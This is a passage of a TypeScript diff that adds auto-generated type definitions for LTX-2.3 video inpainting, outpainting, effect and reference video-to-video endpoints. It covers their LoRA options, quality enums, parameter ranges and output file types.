@maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The mask video. White regions are regenerated; black regions are preserved from the source video. + * @type string + */ + mask_video_url: string + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The source video to inpaint. + * @type string + */ + video_url: string + /** + * @description The prompt describing what to generate inside the masked area. + * @example Replace the masked region with matching cinematic background detail. + * @type string + */ + prompt: string + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityInpaintVideoQualityEnumKey + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Strength of the IC-LoRA video guide for the preserved content. Higher values keep the source video structure more strongly. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + video_strength?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityInpaintVideoWriteModeEnumKey +} + +export type File823Ae8D0 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityInpaint = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File823Ae8D0 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const loRAInput33061B69TransformerEnum = { + high: 'high', + low: 'low', + both: 'both', +} as const + +export type LoRAInput33061B69TransformerEnumKey = + (typeof loRAInput33061B69TransformerEnum)[keyof typeof loRAInput33061B69TransformerEnum] + +/** + * @description A single LoRA to apply on top of the LTX-2.3 base model. + * + * Loaded at request time through the registry SSRF-safe downloader. + * @type object + */ +export type LoRAInput33061B69 = { + /** + * @description Strength of the LoRA application (0.0 to 2.0). Higher values = stronger effect on the generated video. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description Direct HTTP(S) download URL of the LoRA file (.safetensors). The file is downloaded through an SSRF-safe downloader before it is loaded. Max size: 3 GB. + * @maxLength 2048 + * @example https://example.com/path/to/lora.safetensors + * @type string + */ + path: string + /** + * @description Forward-compatibility flag for multi-transformer architectures. LTX-2.3 has a single transformer, so 'both' is the right choice for almost all users. + * @default 'both' + * @type string | undefined + */ + transformer?: LoRAInput33061B69TransformerEnumKey +} + +export const inputFalAiLtx23QualityInpaintLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityInpaintLoraVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityInpaintLoraVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityInpaintLoraVideoQualityEnum] + +export const inputFalAiLtx23QualityInpaintLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityInpaintLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityInpaintLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityInpaintLoraVideoWriteModeEnum] + +/** + * @description Video inpainting + user-supplied LoRAs. + * @type object + */ +export type InputFalAiLtx23QualityInpaintLora = { + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The mask video. White regions are regenerated; black regions are preserved from the source video. + * @type string + */ + mask_video_url: string + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The source video to inpaint. + * @type string + */ + video_url: string + /** + * @description The prompt describing what to generate inside the masked area. + * @example Replace the masked region with matching cinematic background detail. + * @type string + */ + prompt: string + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Up to 3 LoRAs to apply on top of LTX-2.3. Each path is downloaded through the registry SSRF-safe downloader before it is loaded. Max size: 3 GB per LoRA. + * @type array + */ + loras: LoRAInput33061B69[] + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityInpaintLoraVideoQualityEnumKey + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Strength of the IC-LoRA video guide for the preserved content. Higher values keep the source video structure more strongly. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + video_strength?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityInpaintLoraVideoWriteModeEnumKey +} + +export type FileC16Af843 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityInpaintLora = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: FileC16Af843 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const inputFalAiLtx23QualityInstantShaveResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtx23QualityInstantShaveResolutionEnumKey = + (typeof inputFalAiLtx23QualityInstantShaveResolutionEnum)[keyof typeof inputFalAiLtx23QualityInstantShaveResolutionEnum] + +export const inputFalAiLtx23QualityInstantShaveVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityInstantShaveVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityInstantShaveVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityInstantShaveVideoQualityEnum] + +export const inputFalAiLtx23QualityInstantShaveVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityInstantShaveVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityInstantShaveVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityInstantShaveVideoWriteModeEnum] + +/** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ +export type InputFalAiLtx23QualityInstantShave = { + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of output frames. Output duration is num_frames / frames_per_second. The IC-LoRA control budget caps the resolution x frames volume: roughly 6s at 720p or 15s at 480p; a request above it returns a 422 (lower num_frames, or use 480p). + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Optional short description of the video's content/scene. It is woven into the effect's trained caption to sharpen the result; leave empty to apply the effect with a generic description. + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Output resolution (short side), preserving the source aspect ratio. The IC-LoRA control path caps the resolution x frames volume, so resolution trades against duration: 720p allows up to ~6s (sharper), 480p up to ~15s (softer but longer). A request above the budget is rejected with a clear error — pick 480p for longer clips. Output duration is num_frames / frames_per_second. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23QualityInstantShaveResolutionEnumKey + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The URL of the source video to transform. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityInstantShaveVideoQualityEnumKey + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityInstantShaveVideoWriteModeEnumKey +} + +export type File9753Dbda = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityInstantShave = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File9753Dbda + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export type ImageSizeC8Caf041 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx23QualityOutpaintAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiLtx23QualityOutpaintAspectRatioEnumKey = + (typeof inputFalAiLtx23QualityOutpaintAspectRatioEnum)[keyof typeof inputFalAiLtx23QualityOutpaintAspectRatioEnum] + +export const inputFalAiLtx23QualityOutpaintVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityOutpaintVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityOutpaintVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityOutpaintVideoQualityEnum] + +export const inputFalAiLtx23QualityOutpaintResolution = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityOutpaintResolutionKey = + (typeof inputFalAiLtx23QualityOutpaintResolution)[keyof typeof inputFalAiLtx23QualityOutpaintResolution] + +export const inputFalAiLtx23QualityOutpaintOutputResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiLtx23QualityOutpaintOutputResolutionEnumKey = + (typeof inputFalAiLtx23QualityOutpaintOutputResolutionEnum)[keyof typeof inputFalAiLtx23QualityOutpaintOutputResolutionEnum] + +export const inputFalAiLtx23QualityOutpaintVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityOutpaintVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityOutpaintVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityOutpaintVideoWriteModeEnum] + +/** + * @description Video outpainting: extend the video spatially to a larger canvas. + * @type object + */ +export type InputFalAiLtx23QualityOutpaint = { + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to guide the outpainted video generation. + * @example A cinematic wide shot of the same scene, extending the environment naturally beyond the original frame. + * @type string + */ + prompt: string + /** + * @description The source video to spatially outpaint. + * @type string + */ + video_url: string + /** + * @description Target aspect ratio for the outpainted video. Choose a different ratio than the input video to extend the frame cleanly, e.g. use 16:9 for a 4:3 source. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtx23QualityOutpaintAspectRatioEnumKey + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityOutpaintVideoQualityEnumKey + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Strength of the IC-LoRA video guide for the original content. Higher values preserve the source video more strongly inside the outpainted canvas. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + video_strength?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Legacy exact target canvas size. For new requests, prefer aspect_ratio with output_resolution; this field remains supported for backwards compatibility. + * @default landscape_16_9 + */ + resolution?: ImageSizeC8Caf041 | InputFalAiLtx23QualityOutpaintResolutionKey + /** + * @description Output resolution tier. 480p is faster, 720p is the default balance, and 1080p gives a larger canvas when it fits LTX limits. + * @default '720p' + * @type string | undefined + */ + output_resolution?: InputFalAiLtx23QualityOutpaintOutputResolutionEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityOutpaintVideoWriteModeEnumKey + /** + * @description Scale of the source video inside the target canvas before outpainting. 1.0 uses the largest source size that fits the target canvas, which is recommended for true aspect-ratio outpainting such as 4:3 to 16:9. Lower values create a zoom-out border around the source and are less stable. + * @minimum 0.25 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + source_scale?: number +} + +export type FileFe3E59A9 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityOutpaint = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: FileFe3E59A9 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const loRAInputFd8Bf737TransformerEnum = { + high: 'high', + low: 'low', + both: 'both', +} as const + +export type LoRAInputFd8Bf737TransformerEnumKey = + (typeof loRAInputFd8Bf737TransformerEnum)[keyof typeof loRAInputFd8Bf737TransformerEnum] + +/** + * @description A single LoRA to apply on top of the LTX-2.3 base model. + * + * Loaded at request time through the registry SSRF-safe downloader. + * @type object + */ +export type LoRAInputFd8Bf737 = { + /** + * @description Strength of the LoRA application (0.0 to 2.0). Higher values = stronger effect on the generated video. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description Direct HTTP(S) download URL of the LoRA file (.safetensors). The file is downloaded through an SSRF-safe downloader before it is loaded. Max size: 3 GB. + * @maxLength 2048 + * @example https://example.com/path/to/lora.safetensors + * @type string + */ + path: string + /** + * @description Forward-compatibility flag for multi-transformer architectures. LTX-2.3 has a single transformer, so 'both' is the right choice for almost all users. + * @default 'both' + * @type string | undefined + */ + transformer?: LoRAInputFd8Bf737TransformerEnumKey +} + +export type ImageSize04Ad84Ab = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx23QualityOutpaintLoraAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiLtx23QualityOutpaintLoraAspectRatioEnumKey = + (typeof inputFalAiLtx23QualityOutpaintLoraAspectRatioEnum)[keyof typeof inputFalAiLtx23QualityOutpaintLoraAspectRatioEnum] + +export const inputFalAiLtx23QualityOutpaintLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityOutpaintLoraVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityOutpaintLoraVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityOutpaintLoraVideoQualityEnum] + +export const inputFalAiLtx23QualityOutpaintLoraResolution = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityOutpaintLoraResolutionKey = + (typeof inputFalAiLtx23QualityOutpaintLoraResolution)[keyof typeof inputFalAiLtx23QualityOutpaintLoraResolution] + +export const inputFalAiLtx23QualityOutpaintLoraOutputResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiLtx23QualityOutpaintLoraOutputResolutionEnumKey = + (typeof inputFalAiLtx23QualityOutpaintLoraOutputResolutionEnum)[keyof typeof inputFalAiLtx23QualityOutpaintLoraOutputResolutionEnum] + +export const inputFalAiLtx23QualityOutpaintLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityOutpaintLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityOutpaintLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityOutpaintLoraVideoWriteModeEnum] + +/** + * @description Video outpainting + user-supplied LoRAs. + * @type object + */ +export type InputFalAiLtx23QualityOutpaintLora = { + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to guide the outpainted video generation. + * @example A cinematic wide shot of the same scene, extending the environment naturally beyond the original frame. + * @type string + */ + prompt: string + /** + * @description The source video to spatially outpaint. + * @type string + */ + video_url: string + /** + * @description Target aspect ratio for the outpainted video. Choose a different ratio than the input video to extend the frame cleanly, e.g. use 16:9 for a 4:3 source. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtx23QualityOutpaintLoraAspectRatioEnumKey + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Up to 3 LoRAs to apply on top of LTX-2.3. Each path is downloaded through the registry SSRF-safe downloader before it is loaded. Max size: 3 GB per LoRA. + * @type array + */ + loras: LoRAInputFd8Bf737[] + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityOutpaintLoraVideoQualityEnumKey + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Strength of the IC-LoRA video guide for the original content. Higher values preserve the source video more strongly inside the outpainted canvas. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + video_strength?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Legacy exact target canvas size. For new requests, prefer aspect_ratio with output_resolution; this field remains supported for backwards compatibility. + * @default landscape_16_9 + */ + resolution?: + | ImageSize04Ad84Ab + | InputFalAiLtx23QualityOutpaintLoraResolutionKey + /** + * @description Output resolution tier. 480p is faster, 720p is the default balance, and 1080p gives a larger canvas when it fits LTX limits. + * @default '720p' + * @type string | undefined + */ + output_resolution?: InputFalAiLtx23QualityOutpaintLoraOutputResolutionEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityOutpaintLoraVideoWriteModeEnumKey + /** + * @description Scale of the source video inside the target canvas before outpainting. 1.0 uses the largest source size that fits the target canvas, which is recommended for true aspect-ratio outpainting such as 4:3 to 16:9. Lower values create a zoom-out border around the source and are less stable. + * @minimum 0.25 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + source_scale?: number +} + +export type File788Bcc8C = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityOutpaintLora = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File788Bcc8C + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export type ImageSize9Bf02D30 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx23QualityReferenceVideoToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityReferenceVideoToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityReferenceVideoToVideoVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityReferenceVideoToVideoVideoQualityEnum] + +export const inputFalAiLtx23QualityReferenceVideoToVideoResolution = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityReferenceVideoToVideoResolutionKey = + (typeof inputFalAiLtx23QualityReferenceVideoToVideoResolution)[keyof typeof inputFalAiLtx23QualityReferenceVideoToVideoResolution] + +export const inputFalAiLtx23QualityReferenceVideoToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityReferenceVideoToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityReferenceVideoToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityReferenceVideoToVideoVideoWriteModeEnum] + +/** + * @description Reference-video-to-video: a control video drives motion/structure. + * @type object + */ +export type InputFalAiLtx23QualityReferenceVideoToVideo = { + /** + * @description The number of output frames to generate. This IC-LoRA endpoint caps the resolution x frames volume for stability (~150 frames at 720p-class; more at smaller sizes). A request above the budget returns a 422 — reduce num_frames or use a smaller resolution. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description True video-to-video: the base video_url is used as the generation's starting point, while control_video_url still drives the structure. The amount of the original preserved is controlled by `strength` (denoise): lower `strength` keeps more of the original video's pixels. Requires skip_control_preprocess, video_url and control_video_url. Default off leaves the standard control path unchanged. + * @default false + * @type boolean | undefined + */ + preserve_original_video?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to guide generation. + * @example A dancer in a flowing red dress against a black backdrop, studio lighting, cinematic. + * @type string + */ + prompt: string + /** + * @description The URL of the reference video that supplies motion/structure. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Sampler denoise strength for reference-video-to-video. With preserve_original_video on, this is the video-to-video amount: lower values keep more of the original video's pixels (e.g. 0.5 = keep ~50%), 1.0 fully regenerates. 